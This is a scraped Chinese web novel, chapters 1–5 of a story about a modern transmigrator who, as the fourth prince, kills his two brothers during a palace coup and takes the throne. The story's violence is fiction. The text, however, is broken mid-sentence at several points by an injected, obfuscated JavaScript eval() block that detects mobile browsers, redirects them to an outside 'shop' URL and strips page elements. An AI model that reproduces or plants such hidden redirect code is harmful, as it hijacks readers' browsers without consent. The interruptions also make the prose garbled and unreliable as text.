《都说了别让疯子当皇帝》 1. 第 1 章 荣朝都城,锦京—— 今天是一场宫变,大皇子以侍疾为由挟持天子,二皇子以清君侧为由攻入城中。 并不是特别整齐的队伍冲了进去,他们喊着“忠君”之类的口号冲了进去,眼睛里满满的都是对金钱和权力的渴望。 侍奉于二皇子门下的兵部侍郎骑着马,和二皇子的幕僚低声对话:“殿下虽然已经筹谋许久,但是今日看到我们真的攻破宫门,还是觉得心情激动。” 二皇子的幕僚也连连点头:“是啊。大皇子现如今大势已去。虽然他手中挟持着皇帝,但是他也不敢杀死皇帝。手中所控制的人也都被我们诛杀大半,恐怕他已经无力回天了。” 别人可以挟天子以令诸侯,但是大皇子不行,他的基本都是皇帝给予他的,他要是弑父弑君,那他就彻底没有了任何继位的资格。 弑父是封建朝代碰都不能碰的话题,所以当二皇子展示出他如今的实力的时候,大皇子基本上就大势已去了。 “还是要小心。”兵部侍郎先是笑逐颜开,随即又蹙眉,“陛下可不是好相与的人。” 如今的这个皇帝把皇位看得比什么都重,大皇子控制着皇帝,不让皇帝向外传出半点声音,但是等着他见到二皇子,他们可就必须让皇帝对外面说点什么。 以他们对皇帝的了解,他是绝对不会放弃对皇位的把控的,说不好还会想着把三皇子扶持起来…… 三皇子的确被关起来了,他们也的确能想个办法杀掉三皇子,但是以他们对皇帝品性的了解,他说不定能够做出把如今不到十岁的五皇子拖出来。 立太子是不可能的,这辈子他都不想立太子。 立了太子这偌大的江山就有了正式的继承人,他搞不好会被架起来。 . 兵部侍郎并不普通,他姓王,名为王澎来自琅琊王氏,他的妹妹便是如今的二皇子妃。 待二皇子上位,立二皇子妃的儿子为太子,那日后他们琅琊王氏就可以获得的政治资本,地位进一步稳固。 在这次事件中,琅琊王氏是二皇子的最大的支持者。 这是一场豪赌。 一旦失败,琅琊王氏的其他人肯定会迅速地和他切割。 兵部侍郎并不觉得这有多么绝情,这也是他们这些世家大族保存自己的方式。 他做这些事情是自愿。 “确实。” 二皇子还在他们的后方,然而他们带来的士兵已经开始用攻城槌撞击城门。 还没等他们敲多久,城楼上出现了一个人的影子,那是一个太监的身影。 还没等人有队做,就看到一排射手拉开弓弦,对准下面的人。 他们听到城楼之上有人喊道:“二弟,你们今日为何谋逆呢!父皇仍在,你就敢发兵攻打皇宫。若后世史书记载,你觉得你会得到何种评价?” “现如今父皇已立我为太子,皇帝无论从何种角度都应该对太子礼让三分吧?” 这是太监替大皇子喊话。 “大皇兄真是说笑了。既然父皇重病,又怎么能够立诏书?而且又没有皇太子册封的仪式,天地未曾共鉴,我都担心大皇兄在祭天那天说不定会被雷劈到。”二皇子骑着马,缓缓地现身了。 不过从城楼上的角度顶多也只能射到他的马,能够看到的衣角。 说到这里,二皇子带来的人都放声大笑。 “不过大皇兄是胆怯了吗?居然不敢再次露头。不知大皇兄是如何得以服众的?躲在别人身后当缩头乌龟吗?” “就不知道二皇弟是否现在满心警惕,随时留一支弓箭穿过你的胸膛呢。” 太监说着便有了弓弦被拉动的嗡鸣声,很急促,但是没有任何一根弓箭被射出。 二皇子的确被吓了一跳,跨下的马蹄也乱了几分。 大家都紧绷着神经和身体,随时准备着不知道从何而来的偷袭。 这种时候二皇子的反应还是很明显的,二皇子的脸色挂不住,但是他虽然因此而羞耻,却并没有半点退却的意思,反而说道:“大皇兄光吓唬我有什么用?不如我敢与士卒同进退,而你只敢派一个太监站在城楼之上。怎么?居高临下也如此胆怯吗?” 二皇子这话一出,城门被打开了。 二皇子眼皮一跳,他透过城门,看到了更多的弓箭手,对准着门外的人。 想来如果有人敢冲进来的话肯定就会迎来一轮齐射。 而他一眼就注意到了站在台阶上的大皇子。 大皇子并没有站在城门上,之前和他对话的并非是大皇子本人,而是大皇子提前把应对写好,交给太监。 他如今大开城门,站在那里,让二皇子迎头被破了一盆冷水。 ……他这是在搞什么? 他忽然忌惮了起来。 . 如此大事,但是有一个人却好像不是活在同一个片场之中。 或者说,他本来就和整个世界 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16453958|185294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脱节。 这个不是别人,而是没有被任何人提起的四皇子谢吾德。 在所有人心中,这是一个和皇位毫无瓜葛的人。 这种毫无瓜葛不仅来自于他在所有人心中本来应该在荣国和萧国的对战前线,还体现在他行事疯疯癫癫,把从皇帝到大臣,从世家到太监全部得罪了个光。 有谁会支持这样一个疯子当皇帝吗? 是觉得生活需要难度吗? 谢吾德坐在房顶上看着这一幕,脚底踩着瓦片,忍不住在一旁点评:“这两个人的表现其实都不是很差。” 他的脑海中有声音响起:【当然,你看到宫门口的砖了吗?】 谢吾德拿起了望远镜——他是个近视眼,对准了下面的砖。 有几块砖看上去不太对劲。 “下面埋东西了?”谢吾德摸了一片薯片问。 【火药。】脑海中的声音继续说道,【只要二皇子的人敢冲过去,火药就会被引爆。】 谢吾德把望远镜丢到一边:“啧啧。” 【大皇子那边还有火枪手呢。】一个声音又在谢吾德的脑海里响了起来。 如果有人能够听到谢吾德脑子里的声音,那谢吾德是个疯子的观点可以说是盖棺定论了。 “……哪来的火枪手?” 谢吾德愣了一下。 如果他没记错的话,这个世界是个半架空世界,对应的时间节点应该是宋朝。 宋朝的时候火药已经运用到了军事上,但是火枪手应该是更往后的节点吧? 然而这次没有声音回答了他。 谢吾德啧了一声。 他并没有深思,虽然被钓了胃口,但是这事对于他来说并不重要。 他的身边放着零食和饮料,看着下面的动静就像是在现场看戏一样。 他看着他们争吵,两方都得有人互相传,几乎是扯着嗓子说话,说话还要抑扬顿挫,讲究语气,谢吾德往嘴里塞着薯片,吃了两口又觉得嘴巴有点干。 他想找二倍速按键,还有,他不擅长听文言文,听着费劲,即使在这个世界活了十年也是一样,所以他得看边上AI转译解析。 他一向是有点急的。 可惜即使是这个并不完全真实的世界中也不能加速。 不过他可以物理终结这场对话。 喝了一口可乐之后,他的手一甩,从空气中拿出了一把弓箭,对准了这城墙上正在打嘴炮的两个人。 2. 第 2 章 屋顶风声猎猎,吹起了谢吾德的衣角,他用手指拉开弓弦,拉开一点,觉得手指有点疼,只是心念一动,一层无形的薄膜就覆盖在了他的手指上。 他闭上一只眼睛,另外一只蓝色的眼睛眯起来,注视着站在北门的两个人。 弯弓,搭箭。 弓和弓弦发出吱嘎吱嘎的声音,在谢吾德松开弓弦之后,随着一声嗡鸣,这支箭矢歪了。 谢吾德心说肯定是这破弓不好用。 在他的目光注视下,这根箭矢像是有生命一样在空中猛然加速,在空中猛转四十五度,矮接近地面的时候又是一个扭转,骤然加速,以一种完全不科学的角度贯穿了他这个身份的两个哥哥的胸口。 这突然的事变让所有人都开始寻找谢吾德的身影。 谢吾德站在玄武门之上,踩着房顶,高高举起自己的弓箭,让其他人都能看到他。 他看上去一副高高在上的胜利者姿态,生怕别人不知道是他做的一样。 大皇子和二皇子的人瞬间统一了战线,弯弓搭箭试图射杀他。 但是无论是军队中的神射手还是堆量赌概率,都没有一支箭射中谢吾德。 射箭不是机枪扫射,人的体力是有极限的,蛋白质构成的肌肉不足以支撑人类把胳膊像是弹簧一样不停歇地弯弓搭箭。 人累了,心就涣散了,下面的人看着谢吾德的眼睛里也带上了恐惧。 他们很多人都目睹了那一箭。 这根本就不符合常理的一箭。 它不像是弓箭,而是从天上——玄武门上,向下射,在接近地面的时候诡异地转了个弯,穿透二皇子的心□□了大皇子的头。 这不是如有神助是什么? 这不是天命所归是什么? 再加上谢吾德躲都不躲但是没有人射中他,如果说这不是得天独厚那又能是什么? 人对于自己没有办法解释的事情,总是会寻找解释,在这个封建朝代,一切就被归为神明或者天命。 人们不理解为什么皇帝是万人之上的人,可以号令天下所有的人,所以就解释为天命。 是天命让皇帝至高无上。 至于皇帝是不是真的至高无上,那还是不要细究了。 如今纲常伦理崩坏,很多世家大族是不相信皇帝所谓的天命的,不然怎么皇帝对外无法抗衡异族?对内无法收回军权?朝堂上还要被世家大族指手画脚。 天下分崩至此,天命何在呢? 所以对于这些世家大族的人来说,天命多少带着一点笑话。 在皇帝和世家共天下的时候,可看不到天命在皇帝身上的体现。 他们只能看到人类的欲望和贪婪。 可是在看到这一幕之后,这些世家出身的人还是愣住了。 对于被大皇子二皇子带来进行宫变的士兵来说,他们考虑的就不多了,他们的文化程度并不高,可能一辈子都没见过几个字。 在他们看到被射了这么多轮箭,但是谢吾德还是毫发无伤的时候,他们便丢盔弃甲,丢下自己的武器想要山呼万岁了。 如果这不是天命的话,那什么是天命? 就算那些忍住没有下拜的人,也不敢再与谢吾德抗衡,只能咬着牙,维持住自己对大皇子或者二皇子的最后一点忠诚。 等着箭雨停歇,谢吾德从上面跳了下来。 他眯着自己近视的眼睛看着被他踩在脚底的二皇子。 他被他踩得出了肺中的最后一口气。 谢吾德从来没把大皇子、二皇子看作是自己的哥哥。 一句话解释,他是个穿越者,穿越前他是独生子。 一箭双雕,一石二鸟,一尸两命……咳咳。 谢吾德被自己脑海中的形容呛了一下,他从二皇子身上下来的时候稍微绊了一下,但是没有摔倒,保持了平衡。 稍微有点狼狈,但是从十米多高的地方轻巧地跳下来,这蔑视牛顿和达尔文的落地也让在场其他人震掉了眼球。 古人也许不知道什么是重力等于重量和加速度乘积,也不知道人类骨头所能够承受的力量是多少,但是他们有着对生活和世界的朴实观察。 谢吾德只是眼神平静地扫视了一圈,拍拍自己身上完全不存在的灰尘,整理了一下自己的头发,背着手,手里拿着弓箭,大摇大摆地往前走着。 他先是往前走,然后横着走,最后倒着走。 他走路一直都乱七八糟的。 偶尔大步流星,偶尔蹦蹦跳跳,也有可能是闲极无聊左脚右脚横着走。 不过他长得实在是太好看了,就算是爬着走也是优秀男鬼……不过爬着走是不可能的,他是个老洁癖了。 【好耶!哥哥们都死掉了!今天cos的是唐太宗!姐妹没有丼,但是兄弟可以串!】谢吾德在心里大声喊道,【老哥爱你,玄武门见~】 脑子里的声音——温特:【不是还有个三皇子吗?还有什么爱不爱的,沟子史学警告。】 谢吾德:“……” 【不要计较这些细节。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16453959|185294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 】 本体亚夏点评:【你没挂树上,不过你射箭倒是和他当时一样,没射准,你欺负李世民没有法术。】 很好的地狱笑话,太宗点了个踩。 谢吾德垮起脸。 本体的话一直都非常不中听。 非要在他的兴头上说这些话吗? 谢吾德黑着脸,背着手路过一群瑟瑟发抖的人,踩着大皇子的身体走上台阶:“秦王晋王,如今尽皆伏诛,尔等何不跪拜。” 不擅长文辞的他抠破头也只能想出这几句话。 别看谢吾德骚话一套一套的,整个人看起来很活泼,但实际上他的底色和本体一样,话不多,废话更不多。 他用法术提高了自己的音量。 一般来说,这活应该由他的狗腿子做,但是谢吾德不喜欢和人类打太多的交道,所以他就只能亲自当自己的狗腿子了。 还是应该找点狗。 最好还是有文化的狗。 谢吾德觉得自己需要传达的信息核心信息也只有一个——这个皇帝我当了,但是果然,如果有条件的话还是找个更会措辞的家伙。 “……殿下为何要踩着大皇子、二皇子?”有小小的吐槽冒了出头。 既不讲礼数,也废体力。 人工智能兢兢业业地为谢吾德捕捉到了这句话。 谢吾德看向了说话的人。 那好像是二皇子的人? 谢吾德指了指对方,让他过来。 那个人愣了很久,才确定谢吾德说的是他。 他惊恐地走到谢吾德的面前,躬身行礼,生怕这位四皇子要他的命。 他战战兢兢的,却听到四皇子说:“因为踩着他们能更高一点。” 谢吾德洋洋得意道。 高一秒也是高,踩着东西就是好玩。 他走街上看到个桩子都要上去踩一脚再跳下来的。 他现在十六岁,身高一米八,成年的他身高一米九,虽然还是没老家大葱高,但是他不会拒绝自己长得更高,他就喜欢高处的风景。 他只要走在路上,看所有人都比他矮他就会高兴。 本体不会说这样的话,但是谢吾德是个想说什么就说什么的家伙。 “……啊?”二皇子的幕僚愣了好久。 不是,我都做好了赴死的准备了,结果您老耳朵怎么那么好使,把我叫过来,就为了回答我这个充满怨气的问题? 还这么得意? 殿下您真的不打算治治脑子吗? 3. 第 3 章 场面死寂了一会。 二皇子的幕僚不知道该说什么。 除了一开始因为谢吾德的威势跪下来的人之外,其他人都安静地看着谢吾德,又把目光移开。他们脸上没有什么表情,嘴巴死死地闭着,好像被人焊死了一样。 这是一种无形的抗拒。 这是完全可以理解的。 但是谢吾德并不打算理解。 他等了一会,用力地咳了一声,吸引了其他人的注意力,然后随手从边上扯过来一个人,手起刀落砍掉了他的头。 谢吾德的动作实在太麻利了,左手拿弓右手拿剑,整个动作不过十来秒的功夫,就看到一颗人头咕噜咕噜地从台阶上滚下来,每次下落时还因为弹性弹跳两下。 “殿下……殿下……”有人颤声道。 “我觉得你们好像不是很服气的样子,他是离我最近的不愿臣服的人的人。”谢吾德用干净的手背擦了擦自己的脸颊,把自己的脸擦得有点变形,他长了一张好脸,用手背擦着自己的脸的时候看上去还有点可爱,“我不是口才特别好的人,也没有融入你们的规则的意思,你看我的两个‘哥哥’,最后还不是被我一箭射杀了吗?我不打算做一个严谨的人,清除我不想要的样本数据,在统计学上得出一个偏向我的结果就行。” 二皇子的幕僚实在忍不住站了出来:“殿下,这样做您如何服众?” 谢吾德又看了他一眼。 胆很肥嘛。 他就喜欢看人一边瑟瑟发抖一边和他顶嘴,看着真的有趣。 “不服的都杀了,这事就传不出去了。”谢吾德兴致勃勃地看着这个人。 开玩笑,传出去他也不在乎。 谢吾德这次没有放大自己的声音,就是想要看看这个人会有什么样的反应。 现在的情况让他无法继续沉默下去了。 他们大多之前只是被谢吾德的凶残震慑,也有一部分是不想轻易屈从这个疯子。 可现在颇有“再不开口那就把站着的全杀了”的架势,这种时候是他们不想开口就能不开口的吗? 不用等谢吾德再杀几个人,那群士兵也会把他们推出来。 绝大多数时候,上位者享尽荣华富贵,但在危险时刻,他们平时看不上眼的人就会把他们推出来,谁让他们总是最显眼的那一个。 与其等着谢吾德杀出来,不如他们先开口。 二皇子的幕僚对谢吾德说道:“殿下请不要忘了,陛下还活着呢。” 虽然他不是谢吾德的幕僚,但此刻不开口也不行。 皇帝还活着呢,大皇子、二皇子充其量也只是争一下太子之位,但谢吾德怎么开口就要所有人臣服? 臣服的话是能够随便说的吗? 他这是问都不问就把自己直接当皇帝了? 也就是现在形势比人强。 在谢吾德诡异的手段连杀二王时,绝大多数人的抵抗意识就已经被削减得差不多了,不然他们现在肯定要跳起来狠狠唾骂一句:“这天下岂有如此不忠不孝之人!” 大家都知道皇子们没憋什么好屁,知道谢吾德是个疯的,但是他看上去连装都不想装了。 有人看着谢吾德,神情恍惚地想,这一切除了“天命相助”之外,不也有“国之将亡,必有妖孽”这般解释吗? 能够被大皇子、二皇子带来的绝大多数都是死忠。 被谢吾德震慑住的不过四分之一,剩下绝大部分还在摇摆不定,一边恐惧,一边觉得自己不能对不起大皇子二皇子给他们的饷银。 月薪三千,没必要拼命。 但是他们这群一个搞不好就会被打成谋逆之人的月薪对标现代那也得是两万起步,事成,那更是大把的赏赐。 还有一部分更是被极力拉拢。 过去燕太子丹收买荆轲刺杀秦王那也是香车宝马无所不赠,就连荆轲夸赞鼓琴的美女,燕丹也能把美女的手砍下来送给荆轲。 有一部分人就是被大皇子、二皇子如此礼遇的。 在谢吾德和二皇子的幕僚对话的时候,就有人拔剑搭弓。 谢吾德再次拔出剑。 昂贵的铠甲在他的剑下如同竹子一般脆,大皇子准备的火枪兵也没派得上用场,在这装填费劲、没有膛线、培训不到位的时代,谢吾德只要能反应得过来,就一定能杀了对方。 想要杀了他得狙击起步。 谁也没搞清事情是怎么结束的,似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16453960|185294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎仅仅是短短的一瞬,这些试图攻击谢吾德的人就倒在了地上。 谢吾德把自己的剑一甩,鲜血顺着剑刃甩出斑驳血痕,他收剑:“好了,剩下的你们都是臣服我的吧?” 有人本来还在纠结,结果看着这一幕,血瞬间就冷了。 如果能杀死谢吾德,他们还愿意为自己的主君拼一把,但是拼了命也拦不住对方,那他们的牺牲岂不就是毫无意义。 于是他们也跪了下去。 自古兵强马壮者为天子,谢吾德没兵,也没马,但是兵马的作用是把所有异己者打爆,在这点上,谢吾德就没有任何问题了。 . 谢吾德推开了宫殿的大门。他又把之前自己没吃完的那包薯片拿出来吃了。 在这空旷寂静的宫殿里,只有他咔嚓咔嚓吃东西的声音非常响亮。 领路的太监试图用眼神让谢吾德感到尴尬,让他不要在逼宫这样的严肃场合继续吃东西了。 谢吾德从来都没有把自己看作是这个时代的人,也没有把这个时代的规矩看作是自己的规矩。 对于他来说,走路就是可以吃零食的,至于别人怎么看和他有什么关系? 而且谢吾德是故意挑得会吃得咔咔响的零食的。 别人不让他干什么他就非要干什么。 他特别享受别人想打死他但是又不敢打他的样子。 如果要他本体评价,这群人就该不搭理他,谢吾德又不是特别爱吃薯片,多吃两口他就觉得没意思了。 太监也只能用小动作劝一下谢吾德,但是没有人敢于向他提出任何意见,他甚至都不敢正面看他一眼。 在场的人都见到他刚刚一箭杀死大皇子和二皇子的场景,又在几息时间镇压了混乱。 锦京的兵力已经对付不了这位了,除非征发大军攻打皇宫。 但是皇帝就算是病的要死都得垂死病中惊坐起,就连已经死掉的大皇子、二皇子都得爬起来阻止这疯狂的想法。 荣朝从建国开始就是重文抑武,打压世家割据的可能,一旦把军队调到京城里,那谁能保证他们还会老老实实地退出去? 在这种赤裸裸的血腥和暴力面前,谢吾德就是最大的权威。 4. 第 4 章 谢吾德之前还想围观大皇子、二皇子、三皇子互相攻讦,吃瓜享乐,但是他们都要成功篡位了,谢吾德就不想等了。 众所周知,如今皇帝病重,他管不了大皇子和二皇子干什么。 那么现在大皇子二皇子一死,三皇子被囚禁,五皇子派不上用场的时候,自然只有谢吾德就是此处拥有最大权威的人了。 皇帝早就知道这个“四儿子”是个无父无君的家伙,但是他为什么不处理他? 还不是很久之前谢吾德就把禁卫军打了一遍顺便把皇帝抽得满地乱爬。 谁能拿他有办法? 皇帝的尊严也得他或者他手下的人有能力维持。 朝中也不是没有刚直强硬的人,但是他们都不在这里,他们不愿意被搅和进去,不过他们在也没用,大概也就是多几个撞柱而死的忠臣。 谢吾德看向了二皇子的幕僚,突然开口问道:“喂。” 二皇子的幕僚吓了一跳,他不知道谢吾德为什么让他跟着,他一直都非常紧张,他立刻躬身下拜问道:“殿下可是在喊我?” “当然是在喊你了。”谢吾德点了点头。 二皇子的幕僚满头冷汗,他名为余文彦,不过是普通农户出身,全靠琅琊王氏对他的赏识,然后把他举荐给二皇子,才走到如今的地位。 他现在的一切都仰仗于二皇子的存在,现在二皇子一死,他自然就失去了大半的勇气。 如果不是谢吾德让他跟上的话,怕是连站在这里的资格都没有。 不过这不是好事。 前同僚看着他像是在看一个早就和谢吾德有所勾结的叛徒,而他自己却不知道谢吾德想要对他做什么。 作为二皇子的幕僚,他也了解过谢吾德这个四皇子。 如今的这位皇帝实在算不上是什么明君。 他能够得到皇位,与其说是最聪明的,不如说是运气最好。 在北方的萧人入侵的时候,他是跑得最快的那个。 萧人没有抓住他,所以才让他在南方重建了如今的大荣。 幕僚觉得如今的皇帝作为皇帝实在是谈不上多么优秀,但是也算是阴险狡猾了。 他对自己所有的儿子都是相当的警惕,他一边不得不留下自己的孩子作为继承人,一边又警惕这些随着年月愈发年长的儿子对他的地位产生冲击。 他所表现出来的就是完全无法容忍自己的儿子对他的挑衅。 只不过他已经老了,没办法长久地维持住这份尊严了。 谢吾德是那个挑衅他挑衅得最明显的那个人。 他从来不把规矩放在眼中,他只做自己想做的事情。 作为二皇子的幕僚,他听说过这位四皇子殴打过皇帝的传闻。 这对于一个以孝治国的文明来说,应该是一个非常巨大的问题。 因为过于离谱,所以没人相信。 当他询问二皇子这件事情的时候,二皇子的确对此讳莫如深。 家丑不可外扬。 谁都控不住谢吾德这种疯批,那自然只能闭着嘴沉默不言了。 皇帝什么也没说,这其实也符合幕僚对于如今这位权力欲旺盛但是骨子里却蠕动着懦弱的虫子的皇帝的印象。 别说大发雷霆了,就连小发雷霆都没有。 不过可以想象的是,皇帝绝对不会喜欢这个儿子。 幕僚其实并没有见过这位四皇子。 对方虽然做过很多令人震惊的事,看似是一个张扬的性格,但是好像平时并不怎么喜欢出门。 这就让许多想要了解他的人最终只能放弃自己的计划。 言归正传,皇帝虽然不敢对自己儿子有非分的意见,但是绝对也是对他极其不满的。 四皇子现如今不过十六岁,之前却被早早地丢去了荣国和萧国交锋的前线。 皇帝渴望这个不讨喜的儿子能够死掉。 只可惜事与愿违,这位四皇子不仅没有死掉,而且莫名其妙地忽然从千里之外归来,如今更是杀了大皇子和二皇子。 皇帝虽然警惕大皇子和二皇子,但是睁眼看到四皇子,那更是得下掉半条命。 想想看四皇子之前做过的事情,皇帝心里也清楚谢吾德恐怕并没有把皇帝看成是他的亲生父亲,他从来都瞧不起这个皇帝。 皇帝非常不喜欢大皇子和二皇子,但是如果皇帝知道谢吾德要回来把他从皇位上踹下来的话,他恐怕会更希望立刻禅让给大皇子。 谢吾德虽然瞧不起他,但是对于他这个下面的位置非常感兴趣,他从一开始就把这个皇位一看就是自己的东西了,皇帝不过是替他坐一下皇位的NPC,栓条狗上去也是一样。 过去他不争不抢,可不是不感兴趣,而是对争夺不感兴趣。 “你说,皇帝现在还活着吗?”谢吾德开口就是丢了个大雷。 余文彦结结巴巴的不知道该怎么接。 “你说他看到我之后会气死吗?”谢吾德看上去更高兴了。 余文彦更是恨不得把自己当场毒成哑巴。 娘,您说得对,京城水太深,他把握不住。 从初出茅庐开始就被冠上了天才,从地方走到锦京都没有遇到敌手的余文彦在今天匹配到了这么一位精 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16453961|185294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神病。 人,总得吃点教训的。 谢吾德可以口出狂言,那是因为他展现了自己的天命,但是他却什么都不可以说,因为他只是二皇子的幕僚。 一旦轻易的附和了谢吾德,谢吾德可能会笑笑,可是边上也不是没有别人,传出去之后有太多的人会将他视作为此世之恶,恨不得将他当场撕了。 你个乡巴佬来锦京胡说八道,不想活那就不活了。 幕僚只能把自己看作是一个不会说话的哑巴。 谢吾德问题一个问得比一个恐怖。 谢吾德停下脚步回头看了他一眼,原本他的目光是不满的,他不喜欢自己说话没人接,但是幕僚注意到在谢吾德注意到他脸上的表情之后,这种不满瞬间消失了。 幕僚想自己现在的脸肯定非常的难看。 可是此刻的难堪大概给了谢吾德无上的愉悦。 他就喜欢看人绝望,喜欢见人愁苦。 只要别人不高兴了,他就高兴了。 谢吾德几乎是瞬间就笑了起来。 他就知道这个人好玩。 余文彦想想眼前这个家伙恐怕以后就是这个天下的主人了,他忽然感觉到非常的绝望,他之前侍奉二皇子可不是为了什么理想,而是为了自己的荣华富贵。 理想是拿到地位之后才能谈论的事情。 他想的是功成名就,留名千古。 就算是骂名他也可以认了。 高尚的道德有时候是需要金钱滋养的。 余文彦可没那么多钱。 当然,二皇子也给了他荆轲一般的待遇,什么金钱住宅都无所不包,可是想要衣锦还乡,这还远远不够。 但是在看着谢吾德的背影的时候,他却隐隐地被唤出了一点使命感:自己要不要杀了他? 他总感觉这个人太过于危险了。 就算想要衣锦还乡,也最好是天下太平,等着未来谢吾德做出更加荒唐的决策,让这个天下动荡,还不如选择直接击杀他。 可是他看着谢吾德的背影,忽然感到了一股无力。 谢吾德长得很高。 他现在的身体如今不过十六岁,但是已经比他高了半个头。 对方虽然看上去高挑,并不是肌肉壮硕的类型,但是如果仔细观察,还是能够看出他肌肉相当结实。 余文彦又想到之前谢吾德不过眨眼的工夫就非常神鬼之说地把大皇子、二皇子的最忠心的死士杀掉的场面。 刺杀谢吾德,他吗? 感觉就跟一百岁的老荆轲去刺杀秦王一样,踹他一脚都像是在恃强凌弱。 5. 第 5 章 谢吾德背着手,也不看余文彦:“我问你的话你为什么不回答呢?” 在被余文彦的表情逗笑之后,谢吾德还是没忘记自己最开始的目的。 余文彦的表情僵硬了一瞬,然后说道:“陛下乃圣君仁主,见到殿下一定会相当高兴啊。” 高兴得哭出来的那种。 余文彦在心中想。 就好像之前和二皇子在背后蛐蛐很多次皇帝昏庸的人不是他一样。 “哪种圣君仁主?”谢吾德啧了一声,“那种直接称臣的圣君仁主吗?” “别说这种恶心人的话,不然我真想把你头拧断了。”谢吾德的声音冷了下来。 现在这个皇帝在设计之初是以赵构为原型的。 余文彦沉默。 其实他也不喜欢吹捧皇帝。 他和他的母亲是自北方逃难而来,余文彦都快要记不得当时被母亲拖着跑的场景了。 他的父亲被萧人所杀,母亲一路上也是艰难求存,过去颇为照顾他的堂姐被萧人掳走,他都不敢去深思她会遭遇什么。 一个女人在异族手中会遭遇什么? 和他们一起跑掉的姑父在去世的时候还拉着余文彦的手,跟他说有机会一定要把他的堂姐带回来,告诉她是他这个当爹的无用,没法保护她。 余文彦忽然感觉眼中有点酸涩,一股恨意油然而生。 说到底,这一切都是因为二十年前萧国攻破旧都,二十年来皇帝畏葸不前只顾揽权享乐。 余文彦又看了看谢吾德的后背。 一个疯子都会觉得皇帝丢人,皇帝是连个疯子都不如啊。 余文彦的心忽然扭曲了一瞬。 也许自己现在跟在一个疯子的身后,所以他可以看到这个疯子做出种种大逆不道的举动。 他之前侍奉二皇子,二皇子就算是篡位成功,也只是会把皇帝奉为太上皇,他还可以肆意享乐……就如同如今被扣在萧人手中的太上皇,据说他还生了好几个孩子。 百姓流离失所,妻离子散,家破人亡,罪魁祸首仍然可以子孙满堂,大家如何不恨? 余文彦需要把皇帝是天子这件事情记在心中,压下心中的恨意。 但是他听着谢吾德哼着和时下风格截然不同的小曲,那股恨意逐渐浮上心头,他也不由得想笑,但是他忍住了。 不能笑,现在还不是时候。 ……其实,他也想要看看皇帝倒霉呢。 . 寝宫只在,皇帝正焦虑的看着外面,他不知道接下来会是谁赢得这次的冲突? 但是无论是谁获得胜利,他似乎都得不了好。 大皇子虽然先下手为强,但是却不知道玉玺放在哪里,他又不敢对他这个父亲兼皇帝直接动手,只能从旁侧击,他只要继续装傻就行。 二皇子其实也不知道玉玺在何处,但是他的母亲是贵妃,外加势力又强盛,他一旦把持局面,就算没有玉玺也并不碍事。 ……至于三皇子,皇帝之前听到大皇子说三皇子已经被关起来了。 皇帝知道自己这几个儿子大多不是省油的灯,但是三皇子这次的废物程度还是突破了他的想象。 废物,真是废物! 皇帝想要这潭水被搅浑,而不是有任何一方胜出。 他只想保全自己的统治,其他的都无所谓。 至于更加年轻的四皇子和五皇子,他就想都没想。 四皇子是个疯的,五皇子是个傻的,而且四皇子现在应该远在千里之外,是不可能赶回来的……吧? 就在他心脏怦怦跳的时候,他听到外面有布料窸窸窣窣地走了进来。 大皇子身边的人警惕的看着皇帝,伸手让他躺了下来,太监有点尖锐的声音响了起来:“陛下无需忧心。您还在病中,有什么事情交给您的皇子解决就行。” 皇帝不想听这些,他只想知道现在谁获胜了。 就算他知道谁赢了也没用,但是他现在焦虑的不行。 大皇子的人也十分焦虑。 别看他现在好像很镇定,但是他也担心万一二皇子获胜该怎么办? 他的手放在皇帝的肩膀上,指尖戳着皇帝的肩膀,让皇帝觉得有点疼,可是形势比人强。 即使皇帝是皇帝,他也只能保持沉默。 他在保命方面有着一以贯之的宗旨——识时务者为俊杰。 他只是有点绝望的盯着身旁的太监,生怕如果大皇子输了,这个太监做出什么疯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 